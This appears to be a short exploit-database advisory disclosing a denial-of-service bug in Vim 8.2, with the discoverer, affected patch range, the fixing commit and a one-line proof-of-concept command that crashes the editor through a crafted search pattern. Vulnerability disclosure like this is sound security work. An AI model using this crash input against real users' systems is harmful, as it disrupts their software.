VIM 8.2 Denial Of Service

VIM version 8.2 suffers from a denial of service vulnerability.


MD5 | 69c2d58121478b3c8b9c4332cbb17ac6

# Exploit Title: Invalid memory access with search command
# Date: 17-12-2019
# Vulnerability: DoS
# Vulnerability Discovery: Dhiraj Mishra
# Vulnerable Version: VIM - Vi IMproved 8.2 (Included patches: 1-131)
# Vendor Homepage: https://www.vim.org/
# References:
https://github.com/vim/vim/commit/98a336dd497d3422e7efeef9f24cc9e25aeb8a49

PoC: vim --clean -e -s -c 'exe "norm /\x80PS"'

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